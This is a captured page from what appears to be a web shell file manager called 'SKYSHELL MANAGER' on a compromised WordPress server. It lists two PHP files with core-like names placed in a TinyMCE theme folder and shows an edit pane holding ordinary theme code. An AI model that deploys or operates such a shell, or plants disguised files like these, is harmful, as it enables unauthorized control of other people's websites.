📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
cstage
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
ms-files.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: rest-base.php
<?php namespace HelloTheme\Modules\AdminHome\Rest; use HelloTheme\Modules\AdminHome\Module; use WP_REST_Server; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } abstract class Rest_Base { const ROUTE_NAMESPACE = 'elementor-hello-elementor/v1'; abstract public function register_routes(); public function permission_callback(): bool { return current_user_can( 'manage_options' ); } public function __construct() { add_action( 'rest_api_init', [ $this, 'register_routes' ] ); } }
Save